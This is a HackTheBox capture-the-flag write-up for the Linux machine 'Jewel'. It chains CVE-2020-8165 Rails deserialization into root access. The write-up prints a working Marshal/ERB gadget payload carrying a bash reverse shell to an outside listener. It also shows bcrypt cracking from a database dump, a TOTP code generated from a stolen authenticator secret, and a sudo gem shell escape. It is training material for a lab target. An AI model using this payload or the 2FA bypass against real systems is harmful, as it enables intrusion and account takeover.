HTB: Jewel Writeup

Jewel - HackTheBox Writeup

Machine Information

AttributeDetails
NameJewel
OSLinux
DifficultyMedium
Points282
Release Date3rd February 2021
IP Address10.10.10.211
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Jewel is a medium difficulty Linux machine that requires source code analysis of a Ruby on Rails web application to identify CVE-2020-8165, an unsafe deserialization vulnerability in RedisCacheStore. By crafting a malicious serialized object and exploiting a logic flaw in the user update function, we achieve remote code execution as the unprivileged user bill. Privilege escalation leverages a misconfiguration where bill can execute the gem command as root via sudo, bypassing two-factor authentication by recovering the user’s password from a database dump and using Google Authenticator to generate a valid OTP.

TL;DR: GitWeb enumeration → Source code analysis (CVE-2020-8165) → Malicious Marshal payload in user update → RCE as bill → Password recovery from SQL dump → Google Authenticator OTP bypass → sudo gem abuse → root shell


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=1000 -T4 10.10.10.211

Key findings from the scan:

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.211 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.211

Results:

  • Port 8000 - GitWeb service running (Git repository browser)
  • Port 8080 - Phusion Passenger running a Rails web application

Service Enumeration

GitWeb (Port 8000): Accessing http://10.10.10.211:8000/gitweb/ reveals a repository named “BLOG!” containing the full source code of the Rails application. The snapshot functionality allows us to download the entire repository:

Terminal window
wget 'http://10.10.10.211:8000/gitweb/?p=.git;a=snapshot;h=HEAD;sf=tgz' -O blog.tgz
tar xvzf blog.tgz
cd .git-HEAD-5d6f436/

Rails Application (Port 8080): A blog application with user registration and authentication. The application allows users to create accounts and edit user profiles.

Vulnerability Assessment

Through source code analysis of the downloaded Rails project, several key vulnerabilities were identified:

  1. CVE-2020-8165 - Unsafe deserialization in RedisCacheStore with raw: true option
  2. Logic flaw in user update function - Cached values persist despite failed database validation
  3. Accessible database dump - /var/backups/dump_2020-08-27.sql contains user credentials
  4. Sudo misconfiguration - User bill can run gem as root

Initial Foothold

Source Code Analysis

Examining the Rails Gemfile confirms the application uses Rails 6.0.3, released in 2020, which is vulnerable to CVE-2020-8165. Searching the codebase for the vulnerable pattern:

Terminal window
grep -R 'raw: true' .

Two vulnerable instances are found in app/controllers/application_controller.rb and app/controllers/users_controller.rb. The critical flaw is in the update method:

def update
@user = User.find(params[:id])
if @user && @user == current_user
cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
cache.delete("username_#{session[:user_id]}")
@current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
if @user.update(user_params)
flash[:success] = "Your account was updated successfully"
redirect_to articles_path
else
cache.delete("username_#{session[:user_id]}")
render 'edit'
end
else
flash[:danger] = "Not authorized"
redirect_to articles_path
end
end

The vulnerability chain:

  1. User-supplied username is cached (with raw: true, triggering deserialization)
  2. Database validation occurs on the update
  3. If validation fails, the cache should be deleted
  4. However, the 500 error aborts the operation before deletion completes
  5. Malicious serialized objects remain in cache and are deserialized on subsequent requests

Exploitation Path

Step 1: Create a user account

Navigate to http://10.10.10.211:8080/signup and register a new account (e.g., username: attacker, password: password123).

Step 2: Generate malicious payload

On the attacking machine, install Rails and generate the CVE-2020-8165 payload:

Terminal window
apt install rails
rails new exploit
cd exploit
rails console

Within the Rails console, create a reverse shell payload:

# Start a netcat listener first: nc -nvlp 1234
code='`/bin/bash -c "bash -i &>/dev/tcp/10.10.14.3/1234 0>&1"`'
erb=ERB.allocate
erb.instance_variable_set(:@src, code)
erb.instance_variable_set(:@filename, "1")
erb.instance_variable_set(:@lineno, 1)
payload=Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result))
require 'uri'
puts URI.encode_www_form(payload: payload)

This generates a URL-encoded payload that, when deserialized, will execute our bash command.

Step 3: Deliver payload via user update

Log into the Rails application and navigate to the profile edit page (http://10.10.10.211:8080/users/[ID]/edit). Intercept the update request using Burp Suite. Replace the username parameter with the encoded payload from Step 2.

Forward the request. The malicious serialized object is cached (Step 2 fails due to validation), and remains in Redis. On the next request to the application, the cached payload is deserialized in current_username, triggering code execution.

Result: Reverse shell connection as user bill:

bash-5.0$ whoami
bill
bash-5.0$ id
uid=1000(bill) gid=1000(bill) groups=1000(bill)

Privilege Escalation

Credential Recovery from Database Dump

Enumerate the filesystem for backup files:

Terminal window
cat /var/backups/dump_2020-08-27.sql | grep -A 5 "INSERT INTO users"

The SQL dump contains bcrypt password hashes for users bill and jennifer:

bill: $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
jennifer: $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO

Password Cracking

Use John The Ripper to crack the hashes:

Terminal window
echo '$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW' > hashes
echo '$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO' >> hashes
john --wordlist=/usr/share/wordlists/rockyou.txt hashes

Result: Both users share the password spongebob

Bypassing Two-Factor Authentication

Upgrade the shell to an interactive TTY:

Terminal window
python3 -c 'import pty;pty.spawn("/bin/bash")'

Check sudo privileges:

Terminal window
sudo -l

The system prompts for a verification code (TOTP from Google Authenticator). Check the home directory:

Terminal window
cat ~/.google_authenticator

The file contains the secret key used by Google Authenticator. Extract the base32 secret and generate a valid OTP:

Terminal window
# On attacking machine:
apt install oathtool
oathtool -b --totp '2UQI3R52WFCLE6JTLDCSJYMJH4'

This outputs a 6-digit code valid for 30 seconds. Use this code when prompted by sudo -l:

Terminal window
sudo -l
# [sudo] password for bill: spongebob
# Verification code: [output from oathtool]

The output reveals:

User bill may run the following commands as root:
(root) /usr/bin/gem

Exploiting gem Command

According to GTFOBins, the gem command can be abused to spawn a shell:

Terminal window
sudo gem open -e "/bin/sh -c /bin/sh" rdoc

This opens a text editor (configured to /bin/sh -c /bin/sh) with gem’s help documentation, resulting in a root shell.

Result: Root shell achieved:

# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)

Attack Chain Summary

Port Enumeration (8000, 8080)
GitWeb Access & Repository Download
Source Code Analysis (Rails application)
Identify CVE-2020-8165 (unsafe deserialization)
User Registration & Profile Access
Malicious Marshal Payload Generation
Payload Injection via User Update
RCE as bill (Reverse Shell)
SQL Dump Analysis (/var/backups/dump_2020-08-27.sql)
Password Cracking (John - rockyou.txt)
Google Authenticator Secret Extraction
OTP Generation (oathtool)
Sudo Verification Bypass (with OTP + password)
Gem Command Exploitation (GTFOBins)
Root Shell Access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
wgetRepository snapshot download
tarArchive extraction
grepSource code vulnerability pattern matching
railsRails console for payload generation
burp-suiteHTTP request interception and modification
netcatReverse shell listener
johnBcrypt hash cracking
oathtoolTOTP/OTP generation from secrets
python3TTY shell upgrade
sudoPrivilege escalation command execution

Key Learnings

Techniques Practiced

  • Source code review - Identifying security flaws in web application code
  • CVE-2020-8165 exploitation - Marshal deserialization in Ruby on Rails
  • Logic flaw analysis - Understanding control flow and edge cases leading to vulnerability
  • Credential recovery - Extracting and cracking credentials from database backups
  • OTP generation - Bypassing TOTP-based 2FA using recovered secrets
  • GTFOBins methodology - Identifying privilege escalation via misconfigured commands
  • TTY shell upgrades - Interactive shell handling for complex authentication flows

Lessons Learned

  1. Never trust user input - The raw: true parameter in RedisCacheStore should only be used with sanitized data; user-supplied data must be validated before caching
  2. Transaction consistency matters - The user update function assumes cache cleanup will always occur, but fails to account for exception handling that aborts the operation
  3. Backup files are sensitive - Database dumps should never be world-readable and should be deleted after use; they often contain credentials
  4. 2FA is only as strong as the secret - Storing authenticator secrets in plaintext files defeats their purpose if the system is compromised
  5. Principle of least privilege - Allowing unprivileged users to run powerful tools like gem as root should include additional restrictions or monitoring
  6. Layered authentication - While OTP adds a security layer, it doesn’t prevent exploitation if the underlying secret is accessible

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>